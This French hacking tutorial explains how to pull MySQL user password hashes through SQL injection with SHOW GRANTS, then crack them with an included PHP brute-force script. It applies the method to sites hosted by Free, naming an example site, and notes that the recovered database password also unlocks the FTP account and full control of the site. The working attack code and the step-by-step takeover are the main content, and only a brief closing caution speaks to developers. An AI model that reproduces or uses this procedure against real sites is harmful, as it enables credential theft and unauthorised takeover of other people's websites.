

Hacker grâce aux passwords Mysql

De nombreux articles expliquent comment devenir administrateur d'un forum grâce à une injection sql, mais dans cette article je vais montrer une façon de récupérer les passwords de la base de donnée et dans certains cas devenir administrateur du site web entier. Il existe en sql des commandes qui permettent de manipuler les utilisateurs de la bdd, on peut ajouter et supprimer des users et surtout afficher leur password. Je vais commencer par vous présenter ces commandes sql, ensuite nous verrons que le password est crypté alors je vais donner le code source d'un programme php pour les brutes forcer et enfin nous verrons un cas concret, comment hacker les utilisateurs de Free.

I. Les commandes SQL

La commande **SELECT user()** qui permet de sélectionner et d'afficher tout les users d'une base de donnée. Si j'entre **SELECT user()** en local dans mon Mysql le résultat est :

root@localhost

On voit donc qu'ici root est l'utilisateur ayant accès à cette base de donnée.

Ensuite étudions la commande **SHOW GRANTS FOR user@host** ce qui dans mon cas en local donne **SHOW GRANTS FOR root@localhost** cette commande va permettre de voir les droits de l'utilisateur sur la base de donnée mais surtout de faire apparaître son password crypté. Quand je l'exécute en local ça me donne :

*GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION*

Dans ce cas l'on ne voit pas le password car par défaut dans Mysql l'utilisateur root n'en a pas.

Par contre si je crée un user comme benji avec un password si j'effectue la même commande cela me donne : *GRANT ALL PRIVILEGES ON *.* TO 'benji'@'localhost' IDENTIFIED BY PASSWORD '060b5d2335b09355' WITH GRANT OPTION*

Et on peut voir **060b5d2335b09355** qui est mon password crypté par Mysql. J'explique plus loin comment il est crypté.

Maintenant que nous avons vu comment afficher les informations relatives aux users et vu leur passwords je vais vous expliquer comment le password est crypté. En sql il y a une commande **SELECT PASSWORD('password')** qui va permettre de crypter le passe. Si j'exécute **SELECT PASSWORD('password')**, Mysql me donne un password comme ceci : **5d2e19393cc5ef67** ce qui est le mot « password » mais crypté.

II. Brute forcer le password de l'utilisateur

Maintenant que nous avons récupéré le password de l'utilisateur Mysql il nous faut le brute forcer afin de l'avoir en clair, j'ai donc modifié un programme de brute force créé par Eftarjin :

```
<?php
# Auteurs : Benjilenoob & Eftarjin
set_time_limit(99999999999); # on définit le temps de l'exécution du programme.
##### On définit tout pour la base de donnée #####
$db_host = "localhost";
$db_name = "forum";
$db_pass = "";
$db_login = "root";
$db = mysql_connect($db_host, $db_login, $db_pass);
if (!$db) die("erreur de connection mysql\n");
```

```
mysql_select_db($db_name, $db) or die("Erreur dans la sélection de la bdd\n");
```

```
##### On définit les fonctions brute() #####
```

```
// toutes les possibilités de $nb_char caractères
```

```
function brute1($charset, $nb_char, $prefixe = "")
```

```
{
```

```
    // pour chaque caractères
```

```
    for ($i = 0; $i < strlen($charset); $i++)
```

```
    {
```

```
        if ($nb_char > 1) {
```

```
            // la fonction se rappelle elle-même (récursivité) avec le caractère
```

```
            // comme préfixe et un caractère de moins.
```

```
            brute1($charset, $nb_char-1, substr($charset, $i, 1).$prefixe); }
```

```
        else {
```

```
            // si on ne demande plus qu'un caractère, on fait le test.
```

```
            brute_test(substr($charset, $i, 1).$prefixe);
```

```
        } } }
```

```
// nombre de caractère variable
```

```
function brute2($charset, $nb_char_min, $nb_char_max, $prefixe = "")
```

```
{
```

```
    for ($i = 0; $i < strlen($charset); $i++)
```

```
    {
```

```
        if ($nb_char_min <= 1)
```

```
        { brute_test(substr($charset, $i, 1).$prefixe); }
```

```
    if ($nb_char_max > 1)
```

```
    {
```

```
        brute2($charset, $nb_char_min-1, $nb_char_max-1, substr($charset, $i, 1).$prefixe);
```

```
    } } }
```

```
// les possibilités avec moins de caractères en premier. utilise la 1ere fonction.
```

```
function brute3($charset, $nb_char_min, $nb_char_max, $prefixe = "")
```

```
{
```

```
    for ($i = $nb_char_min; $i <= $nb_char_max; $i++)
```

```
    { brute1($charset, $i); } }
```

```
function brute_test($result)
```

```
{
```

```
$sql = "Select password('$result')";
```

```
$res = mysql_query($sql);
```

```
$req = mysql_result($res, 0);
```

```
$hash = "Hash_a_cracker"; # le password que nous allons devoir brute forcer.
```

```
echo "$result\n";
```

```
    if ($req == $hash)
```

```
    {
```

```
        echo "Correspondance trouvée : $result<br>";
```

```
        echo "Cypaté: $req<br>";
```

```
        exit();
```

```
    } }
```

```
// exemple : tous les mots contenant entre 2 et 6 lettres minuscules, majuscules, caractères spéciaux, chiffres.
```

```
// attention : peut être très très long.
```

```
brute3('abcdefghijklmnopqrstuvwxy', 2, 10); # ici on définit les caractères à tester.
```

```
?>
```

Notre programme va exécuter les milliers de **SELECT PASSWORD()** et comparer le hash obtenu avec celui donnée avec la variable **\$hash**, une fois qu'il seront identique alors on aura trouvé le password. Cette technique peut être très très longue suivant la longueur du passwd.

III. Le cas de Free

Notre forum est hébergé chez free à <http://phonixsprider.free.fr> , je vais m'en servir comme exemple. Admettons que vous aillez trouvé une faille de type injection sql sur un site Free peu importe lequel, essayez d'exécuter **SHOW GRANTS FOR root@localhost** . Une erreur apparaît et nous donne le nom de l'user :

#1044 - Access denied for user: 'phonixsprider@2xx.2x.40.1xx' to database 'mysql'

Maintenant il nous suffit d'exécuter **SHOW GRANTS FOR phonixsprider@2xx.2x.40.1xx**

Ce qui nous donne un truc genre:

*GRANT USAGE ON *.* TO 'phonixsprider@2xx.2x.40.1xx' IDENTIFIED BY PASSWORD '0f5fb7173cb5f030'*

GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, REFERENCES, INDEX, ALTER, CREATE TEMPORARY TABLES ON `phonixsprider`. TO 'phonixsprider'@'2xx.2x.40.1xx'*

On peut donc voir le password crypté **0f5fb7173cb5f030** qu'il nous suffira de brute forcer pour connaître le passe en clair. Comme chez Free le password Mysql est le même que celui du ftp vous pouvez donc avoir accès a tous les fichiers du site et faire tout ce que vous voulez comme si tout était à vous.

IV. Conclusion

C'est un moyen de devenir administrateur d'un site assez facilement grâce à une injection sql, ce qui prouve encore que ce genre de faille est critique dans pas mal de cas. Faites attention lorsque vous programmez vos sites web.

Lien :

Pour en savoir plus sur les passwords Mysql :

<http://dev.mysql.com/doc/mysql/fr/password-hashing.html>

Benjamin Mossé alias Benjilenoob